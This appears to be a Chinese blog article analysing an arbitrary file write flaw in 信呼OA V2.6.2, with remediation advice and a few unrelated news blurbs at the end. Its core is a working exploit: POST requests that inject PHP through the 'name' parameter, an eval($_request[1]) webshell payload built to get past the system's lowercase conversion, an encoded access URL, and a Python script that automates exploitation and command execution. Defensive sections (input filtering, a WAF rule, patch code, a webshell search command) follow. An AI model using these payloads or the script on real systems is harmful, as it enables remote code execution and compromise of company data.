信呼OA V2.6.2 任意文件写入漏洞分析:普通用户权限下3步构造PHP Webshell
信呼OA V2.6.2 任意文件写入漏洞深度解析与实战利用漏洞背景与影响范围信呼OA作为一款在中小企业中广泛使用的开源协同办公系统其安全性直接关系到企业核心数据资产的安全。2023年12月发布的V2.6.2版本中存在一个高危的任意文件写入漏洞攻击者仅需普通用户权限即可通过精心构造的请求在服务器上写入PHP webshell进而实现远程代码执行。该漏洞的特殊性在于低权限要求不同于传统OA系统漏洞需要管理员权限此漏洞普通用户即可触发新版影响区别于早期版本已知漏洞这是首个公开的V2.6.x系列可利用漏洞隐蔽性强漏洞利用过程不涉及文件上传可绕过常规WAF检测规则根据网络空间测绘数据显示全球使用信呼OA的网站超过1万个主要分布在制造业、教育机构和政府单位其中约60%运行着受影响版本。漏洞原理与代码审计核心问题定位漏洞根源位于webmain/main/flow/flowAction.php文件中的copymodeAjax方法。该方法在处理模板复制请求时未对用户输入的name参数进行有效过滤直接将其拼接到PHP文件内容中。关键漏洞代码如下public function copymodeAjax() { $id (int)$this-get(id); $name $this-get(name); // 未过滤的用户输入 //... $stra ?php class mode_.$name.ClassAction extends inputAction {...}; $this-rock-createtxt($apaths, $stra); // 直接写入文件 }漏洞触发链条完整的漏洞利用涉及以下关键步骤参数注入点name参数通过POST传递允许包含特殊字符大小写转换系统自动将输入转为小写限制了大写字母的使用文件写入通过createtxt方法将构造的类定义写入/flow/input/目录文件访问生成的PHP文件可通过固定URL路径直接访问安全机制绕过分析虽然系统存在部分防护措施但均被有效绕过防护措施绕过方法有效性XSS过滤使用{}分隔PHP代码完全绕过大小写限制使用strtoupper动态转换部分绕过文件后缀检查固定生成.php文件不适用漏洞利用实战基础利用 - 写入PHP信息页通过以下请求可在服务器上创建包含phpinfo()的测试文件POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};phpinfo();class a生成的文件可通过两种路径访问/webmain/flow/input/mode_a{};phpinfo();class aAction.php/webmain/model/flow/mode_a{};phpinfo();class aModel.php高级利用 - 写入功能性Webshell由于大小写限制需要使用特殊技巧写入可用的webshellPOST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};eval(strtoupper(eval($_request[1]);));class a访问时需进行URL编码http://target.com/webmain/flow/input/mode_a%7B%7D%3Beval%28strtoupper%28%22eval%28%24_request%5B1%5D%29%3B%22%29%29%3Bclass%20aAction.php?1echo%20md5(1);自动化利用脚本以下Python脚本可自动化漏洞检测与利用import requests import urllib.parse def check_vuln(url): payload a{};phpinfo();class a data {id: 1, name: payload} try: r requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata, timeout10) if r.status_code 200: return True except: pass return False def exploit(url, cmd): payload fa{{}};eval(strtoupper(\eval($_request[1]);\));class a data {id: 1, name: payload} requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata) encoded urllib.parse.quote(payload) r requests.get(f{url}/webmain/flow/input/mode_{encoded}Action.php?1{cmd}) return r.text防御方案与修复建议临时缓解措施对于无法立即升级的用户建议采取以下防护输入过滤在应用层添加对name参数的严格校验仅允许字母数字和下划线过滤所有特殊字符{};()$目录权限限制/webmain/flow/input/目录的写入权限chmod -R 755 /path/to/webmain/flow/input/WAF规则添加以下自定义规则拦截攻击请求SecRule ARGS_POST:name contains {} id:1001,deny,status:403官方修复方案信呼OA官方已在后续版本中通过以下方式修复漏洞参数过滤对name参数增加正则校验$name preg_replace(/[^a-zA-Z0-9_]/, , $name);内容转义对写入文件的内容进行HTML实体编码$stra htmlspecialchars($stra, ENT_QUOTES);权限校验增加模板复制操作的权限检查建议所有用户升级至V2.6.3或更高版本升级前务必做好数据备份。漏洞挖掘方法论本漏洞的发现过程体现了经典的白盒审计思路危险函数追踪全局搜索file_put_contents、fwrite等文件操作函数参数回溯分析从写入点反向追踪用户可控输入源调用链重构绘制完整的参数传递路径图利用场景构建结合业务逻辑设计可行的攻击路径在实际审计中还应特别注意以下代码模式动态文件生成如模板引擎未过滤的用户输入直接拼接非常规文件操作如日志写入、缓存生成企业安全防护体系建议针对此类办公系统的安全防护建议建立多层防御体系防护层级具体措施实施要点网络层入侵检测系统监控异常文件创建行为主机层文件完整性监控关键目录变更告警应用层输入输出过滤统一安全过滤组件数据层定期备份离线存储备份数据管理层漏洞管理流程建立补丁更新机制特别提醒在漏洞修复后应全面检查服务器是否存在遗留的webshell文件推荐使用以下命令进行排查find /var/www -name *.php -mtime -7 -exec grep -l eval( {} \;

相关新闻

AI训练数据合规指南:视频抓取、平台条款与版权风险解析

AI训练数据合规指南:视频抓取、平台条款与版权风险解析

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 这类涉及 AI 训练数据来源的争议,最值得关注的不是谁告了谁,而是普通开发者和内容创作者在实际项目中如何合规…

2026/7/9 13:52:02阅读更多 →
Precision-Recall曲线解析:从sklearn源码到5个阈值选择策略

Precision-Recall曲线解析:从sklearn源码到5个阈值选择策略

Precision-Recall曲线解析:从sklearn源码到5个阈值选择策略在机器学习模型的评估体系中,Precision-Recall曲线(P-R曲线)是处理类别不平衡问题时比ROC曲线更具洞察力的工具。本文将深入解析P-R曲线的数学原理、sklearn中的实现细节…

2026/7/9 13:52:02阅读更多 →
TMC7300与PIC18LF27K42构建高效直流电机驱动系统

TMC7300与PIC18LF27K42构建高效直流电机驱动系统

1. 项目背景与核心器件选型 有刷直流电机(BDC)在工业自动化、消费电子和汽车电子等领域应用广泛,但传统驱动方案常面临效率低、控制精度差和体积过大等问题。TMC7300作为一款高度集成的电机驱动器IC,与PIC18LF27K42微控制器组合&a…

2026/7/9 13:47:00阅读更多 →
猫抓浏览器资源嗅探扩展:轻松下载网页视频的完整指南

猫抓浏览器资源嗅探扩展:轻松下载网页视频的完整指南

猫抓浏览器资源嗅探扩展:轻松下载网页视频的完整指南 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓浏览器资源嗅探扩展是一款功能…

2026/7/9 14:52:12阅读更多 →
锂离子电池主动均衡方案:基于MCP3202与PIC18F96J65的设计

锂离子电池主动均衡方案:基于MCP3202与PIC18F96J65的设计

1. 项目背景与核心需求 两节锂离子电池串联使用时,由于制造工艺差异、温度分布不均或充放电次数不同,电池间会出现电压不平衡现象。这种不平衡轻则降低整体电池组容量,重则导致过充过放引发安全隐患。传统被动均衡方案通过电阻放电实现平衡&a…

2026/7/9 14:52:12阅读更多 →
5分钟快速修复洛雪音乐六音音源失效问题:完整解决方案指南

5分钟快速修复洛雪音乐六音音源失效问题:完整解决方案指南

5分钟快速修复洛雪音乐六音音源失效问题:完整解决方案指南 【免费下载链接】New_lxmusic_source 六音音源修复版 项目地址: https://gitcode.com/gh_mirrors/ne/New_lxmusic_source 还在为洛雪音乐1.6.0版本后无法播放歌曲而烦恼吗?六音音源修复版…

2026/7/9 14:52:12阅读更多 →
A3910与PIC18LF26K80电机驱动方案解析

A3910与PIC18LF26K80电机驱动方案解析

1. A3910与PIC18LF26K80的黄金组合解析在嵌入式控制领域,电机驱动与微控制器的搭配就像赛车引擎与ECU的关系。A3910作为Allegro MicroSystems推出的全桥MOSFET驱动器,与Microchip的PIC18LF26K80微控制器结合,能构建出从简单机械控制到复杂运动…

2026/7/9 14:52:12阅读更多 →
基于PIC18F87J50与PAM8904的智能音频报警系统设计

基于PIC18F87J50与PAM8904的智能音频报警系统设计

1. 项目背景与核心需求 在工业控制、智能家居和安防系统中,可靠的通知机制是保障系统安全运行的关键环节。传统的蜂鸣器报警方案存在音调单一、音量不可调、功耗高等痛点。基于PIC18F87J50微控制器与PAM8904音频驱动芯片的组合,我们可以构建一个高度可定…

2026/7/9 14:52:12阅读更多 →
PyTorch 2.0.1 自定义 ONNX 算子实战:AffineGrid 导出避坑 3 要点

PyTorch 2.0.1 自定义 ONNX 算子实战:AffineGrid 导出避坑 3 要点

PyTorch 2.0.1 自定义 ONNX 算子实战:AffineGrid 导出避坑指南在工业级模型部署中,PyTorch到ONNX的转换常因算子支持问题成为关键瓶颈。本文将以PyTorch 2.0.1中affine_grid算子的导出为例,深入解析三个核心解决方案,并提供可直接…

2026/7/9 14:47:11阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/9 5:56:19阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/9 9:45:20阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/9 2:47:07阅读更多 →
Three.js 着色器光效教程

Three.js 着色器光效教程

着色器光效 Shader Light ▶ 在线运行案例 案例合集: 三维可视化功能案例(threehub.cn)开源仓库github地址: https://github.com/z2586300277/three-cesium-examples400个案例代码: 网盘链接 你将学到什么 ShaderMaterial 自…

2026/7/9 0:04:37阅读更多 →
如何5分钟掌握CS2智能库存管理:开源工具CASEMOVE终极指南

如何5分钟掌握CS2智能库存管理:开源工具CASEMOVE终极指南

如何5分钟掌握CS2智能库存管理:开源工具CASEMOVE终极指南 【免费下载链接】casemove A dedicated desktop app that enables you to move items in and out of storage units in CS2. 项目地址: https://gitcode.com/gh_mirrors/ca/casemove 还在为CS2存储单…

2026/7/9 0:04:37阅读更多 →
GBase 8a vs MySQL 8.0:ALTER TABLE语法与限制的5点关键差异对比

GBase 8a vs MySQL 8.0:ALTER TABLE语法与限制的5点关键差异对比

GBase 8a与MySQL 8.0:ALTER TABLE语法差异深度解析与实战指南1. 两种数据库的ALTER TABLE能力全景对比在数据库架构设计和运维过程中,表结构变更(DDL操作)是不可避免的需求。GBase 8a作为国产分析型数据库代表,与开源M…

2026/7/9 0:04:37阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/9 9:45:20阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/8 13:42:39阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/9 14:14:17阅读更多 →